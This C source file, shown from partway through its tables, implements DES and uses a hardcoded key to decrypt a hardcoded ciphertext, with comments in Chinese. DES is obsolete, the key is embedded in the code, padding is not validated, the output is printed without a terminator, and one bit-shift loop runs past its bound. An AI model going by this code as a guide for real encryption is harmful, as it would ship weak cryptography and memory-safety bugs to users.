                14, 6, 14, 6, 0, 13, 9, 5, 5, 11, 0, 7, 2, 3, 0, 0, 3, 13, 8, 2, 15, 9, 1, 7, 9, 1, 12, 4, 10, 9, 8, 11, 4, 1, 6, 15, 12, 14, 11, 2, 5, 14, 13, 4, 3, 7, 1, 15, 11, 10, 3, 7, 8, 8, 15, 5, 12, 12, 10, 10, 4, 6, 13, 2
        },
        {
                15, 14, 10, 3, 3, 15, 12, 14, 0, 2, 14, 12, 8, 0, 5, 6, 14, 2, 0, 1, 8, 1, 13, 4, 11, 4, 7, 11, 9, 15, 1, 12, 5, 0, 7, 13, 6, 10, 6, 12, 11, 6, 13, 3, 8, 4, 9, 9, 13, 4, 2, 5, 1, 7, 9, 5, 7, 2, 8, 15, 3, 10, 10, 11
        },
        {
                4, 7, 4, 15, 0, 5, 9, 14, 8, 11, 13, 0, 7, 3, 1, 2, 1, 6, 7, 5, 12, 4, 13, 13, 8, 1, 5, 12, 11, 9, 5, 11, 6, 10, 3, 1, 15, 14, 14, 15, 9, 9, 15, 2, 12, 12, 14, 0, 4, 8, 6, 3, 11, 7, 3, 6, 10, 2, 0, 2, 8, 10, 10, 13
        }
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte P[] = {
 16,  7, 20, 21,
 29, 12, 28, 17,
 1, 15, 23, 26,
 5, 18, 31, 10,
 2,  8, 24, 14,
 32, 27,  3,  9,
 19, 13, 30,  6,
 22, 11,  4, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP2[] = {
 40,  8, 48, 16, 56, 24, 64, 32,
 39,  7, 47, 15, 55, 23, 63, 31,
 38,  6, 46, 14, 54, 22, 62, 30,
 37,  5, 45, 13, 53, 21, 61, 29,
 36,  4, 44, 12, 52, 20, 60, 28,
 35,  3, 43, 11, 51, 19, 59, 27,
 34,  2, 42, 10, 50, 18, 58, 26,
 33,  1, 41,  9, 49, 17, 57, 25
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte SHIFTS[] = {
 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
/*--------------------------------------------------------------------------------------------------------------*/
typedef struct {
 ubyte *data;
 int len;
} String;
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transform a single nibble into a hex character
*
* in: a value < 0x10
*
* returns: the character that represents the nibble
*/
static char toHex(ubyte in) {
 if (0x00 <= in && in < 0x0A) {
  return '0' + in;
 }
 if (0x0A <= in && in <= 0x0F) {
  return 'A' + in - 0x0A;
 }
 return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convert an array of bytes into a string
*
* ptr: the array of bytes
* len: the number of bytes
* out: a buffer allocated by the caller with enough space for 2*len+1 characters
*/
static void printBytes(const ubyte *ptr, int len, char *out) {
 while (len-- > 0) {
  *out++ = toHex(*ptr >> 4);
  *out++ = toHex(*ptr & 0x0F);

  ptr++;
 }
 *out = 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Gets the value of a bit in an array of bytes
*
* src: the array of bytes to index
* index: the desired bit to test the value of
*
* returns: the bit at the specified position in the array
*/
static int peekBit(const ubyte *src, int index) {
 int cell = index / 8;
 int bit = 7 - index % 8;
 return (src[cell] & (1 << bit)) != 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Sets the value of a bit in an array of bytes
*
* dst: the array of bits to set a bit in
* index: the position of the bit to set
* value: the value for the bit to set
*/
static void pokeBit(ubyte *dst, int index, int value) {
 int cell = index / 8;
 int bit = 7 - index % 8;
 if (value == 0) {
  dst[cell] &= ~(1 << bit);
 }
 else {
  dst[cell] |= (1 << bit);
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transforms one array of bytes by shifting the bits the specified number of positions
*
* src: the array to shift bits from
* len: the length of the src array
* times: the number of positions that the bits should be shifted
* dst: a bytes array allocated by the caller to store the shifted values
*/
static void shiftLeft(const ubyte *src, int len, int times, ubyte *dst) {
 int i, t;
 for (i = 0; i <= len; ++i) {
  pokeBit(dst, i, peekBit(src, i));
 }
 for (t = 1; t <= times; ++t) {
  int temp = peekBit(dst, 0);
  for (i = 1; i <= len; ++i) {
   pokeBit(dst, i - 1, peekBit(dst, i));
  }
  pokeBit(dst, len - 1, temp);
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Calculates the sub keys to be used in processing the messages
*
* key: the array of bytes representing the key
* ks: the subkeys that have been allocated by the caller
*/
typedef ubyte subkey_t[17][6]; /* 17 sets of 48 bits */
static void getSubKeys(const key_t key, subkey_t ks) {
 ubyte c[17][7];  /* 56 bits */
 ubyte d[17][4];  /* 28 bits */
 ubyte kp[7];
 int i, j;

 /* intialize */
 memset(c, 0, sizeof(c));
 memset(d, 0, sizeof(d));
 memset(ks, 0, sizeof(subkey_t));

 /* permute 'key' using table PC1 */
 for (i = 0; i < 56; ++i) {
  pokeBit(kp, i, peekBit(key, PC1[i] - 1));
 }

 /* split 'kp' in half and process the resulting series of 'c' and 'd' */
 for (i = 0; i < 28; ++i) {
  pokeBit(c[0], i, peekBit(kp, i));
  pokeBit(d[0], i, peekBit(kp, i + 28));
 }

 /* shift the components of c and d */
 for (i = 1; i < 17; ++i) {
  shiftLeft(c[i - 1], 28, SHIFTS[i - 1], c[i]);
  shiftLeft(d[i - 1], 28, SHIFTS[i - 1], d[i]);
 }

 /* merge 'd' into 'c' */
 for (i = 1; i < 17; ++i) {
  for (j = 28; j < 56; ++j) {
   pokeBit(c[i], j, peekBit(d[i], j - 28));
  }
 }

 /* form the sub-keys and store them in 'ks'
 * permute 'c' using table PC2 */
 for (i = 1; i < 17; ++i) {
  for (j = 0; j < 48; ++j) {
   pokeBit(ks[i], j, peekBit(c[i], PC2[j] - 1));
  }
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Function used in processing the messages
*
* r: an array of bytes to be processed
* ks: one of the subkeys to be used for processing
* sp: output from the processing
*/
static void f(ubyte *r, ubyte *ks, ubyte *sp) {
 ubyte er[6]; /* 48 bits */
 ubyte sr[4]; /* 32 bits */
 int i;

 /* initialize */
 memset(er, 0, sizeof(er));
 memset(sr, 0, sizeof(sr));

 /* permute 'r' using table E */
 for (i = 0; i < 48; ++i) {
  pokeBit(er, i, peekBit(r, E[i] - 1));
 }

 /* xor 'er' with 'ks' and store back into 'er' */
 for (i = 0; i < 6; ++i) {
  er[i] ^= ks[i];
 }

 /* process 'er' six bits at a time and store resulting four bits in 'sr' */
 for (i = 0; i < 8; ++i) {
  int j = i * 6;
  int b[6];
  int k, row, col, m, n;

  for (k = 0; k < 6; ++k) {
   b[k] = peekBit(er, j + k) != 0 ? 1 : 0;
  }

  row = 2 * b[0] + b[5];
  col = 8 * b[1] + 4 * b[2] + 2 * b[3] + b[4];
  m = S[i][row * 16 + col]; /* apply table s */
  n = 1;

  while (m > 0) {
   int p = m % 2;
   pokeBit(sr, (i + 1) * 4 - n, p == 1);
   m /= 2;
   n++;
  }
 }

 /* permute sr using table P */
 for (i = 0; i < 32; ++i) {
  pokeBit(sp, i, peekBit(sr, P[i] - 1));
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Processing of block of the message
*
* message: an 8 byte block from the message
* ks: the subkeys to use in processing
* ep: space for an encoded 8 byte block allocated by the caller
*/
static void processMessage(const ubyte *message, subkey_t ks, ubyte *ep) {
 ubyte left[17][4];  /* 32 bits */
 ubyte right[17][4]; /* 32 bits */
 ubyte mp[8];        /* 64 bits */
 ubyte e[8];         /* 64 bits */
 int i, j;

 /* permute 'message' using table IP */
 for (i = 0; i < 64; ++i) {
  pokeBit(mp, i, peekBit(message, IP[i] - 1));
 }

 /* split 'mp' in half and process the resulting series of 'l' and 'r */
 for (i = 0; i < 32; ++i) {
  pokeBit(left[0], i, peekBit(mp, i));
  pokeBit(right[0], i, peekBit(mp, i + 32));
 }
 for (i = 1; i < 17; ++i) {
  ubyte fs[4]; /* 32 bits */

  memcpy(left[i], right[i - 1], 4);
  f(right[i - 1], ks[i], fs);
  for (j = 0; j < 4; ++j) {
   left[i - 1][j] ^= fs[j];
  }
  memcpy(right[i], left[i - 1], 4);
 }

 /* amalgamate r[16] and l[16] (in that order) into 'e' */
 for (i = 0; i < 32; ++i) {
  pokeBit(e, i, peekBit(right[16], i));
 }
 for (i = 32; i < 64; ++i) {
  pokeBit(e, i, peekBit(left[16], i - 32));
 }

 /* permute 'e' using table IP2 ad return result as a hex string */
 for (i = 0; i < 64; ++i) {
  pokeBit(ep, i, peekBit(e, IP2[i] - 1));
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Encrypts a message using DES
*
* key: the key to use to encrypt the message
* message: the message to be encrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the encoded message,
*          and the length of the encoded message.
*          the caller will need to free the memory after use.
*/
String encrypt(const key_t key, const ubyte *message, int len) {
 String result = { 0, 0 };
 subkey_t ks;
 ubyte padByte;
 int i;

 getSubKeys(key, ks);

 padByte = 8 - len % 8;
 result.len = len + padByte;
 result.data = (ubyte*)malloc(result.len);
 memcpy(result.data, message, len);
 memset(&result.data[len], padByte, padByte);

 for (i = 0; i < result.len; i += 8) {
  processMessage(&result.data[i], ks, &result.data[i]);
 }

 return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Decrypts a message using DES
*
* key: the key to use to decrypt the message
* message: the message to be decrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the decoded message,
*          and the length of the decoded message.
*          the caller will need to free the memory after use.
*/
String decrypt(const key_t key, const ubyte *message, int len) {
 String result = { 0, 0 };
 subkey_t ks;
 int i, j;
 ubyte padByte;

 getSubKeys(key, ks);
 /* reverse the subkeys */
 for (i = 1; i < 9; ++i) {
  for (j = 0; j < 6; ++j) {
   ubyte temp = ks[i][j];
   ks[i][j] = ks[17 - i][j];
   ks[17 - i][j] = temp;
  }
 }

 result.data = (ubyte*)malloc(len);
 memcpy(result.data, message, len);
 result.len = len;
 for (i = 0; i < result.len; i += 8) {
  processMessage(&result.data[i], ks, &result.data[i]);
 }

 padByte = result.data[len - 1];
 result.len -= padByte;
 return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convienience method for showing the round trip processing of a message
*/
void driver(const key_t key, const ubyte *message, int len) {
 String encoded, decoded;
 char buffer[128];

 printBytes(key, KEY_LEN, buffer);
 printf("Key     : %s\n", buffer);

 printBytes(message, len, buffer);
 printf("Message : %s\n", buffer);

 encoded = encrypt(key, message, len);
 printBytes(encoded.data, encoded.len, buffer);
 printf("Encoded : %s\n", buffer);

 decoded = decrypt(key, encoded.data, encoded.len);
 printBytes(decoded.data, decoded.len, buffer);
 printf("Decoded : %s\n\n", buffer);

 /* release allocated memory */
 if (encoded.len > 0) {
  free(encoded.data);
  encoded.data = 0;
 }
 if (decoded.len > 0) {
  free(decoded.data);
  decoded.data = 0;
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
 String decoded;
 int len;
 //密钥
 const key_t key = {107, 101, 121, 33, 107, 101, 121, 33};
 //密文
 const ubyte data[] = {125, 234, 224, 219, 27, 214, 109, 85, 209, 233, 192, 113, 12, 1, 19, 43};
 //密文长度
 len = sizeof(data) / sizeof(ubyte);
 decoded = decrypt(key, data, len);
 printf("Decoded:%s\n", decoded.data);
 //释放内存
 if (decoded.len > 0) {
  free(decoded.data);
  decoded.data = 0;
 }
 return 0;
}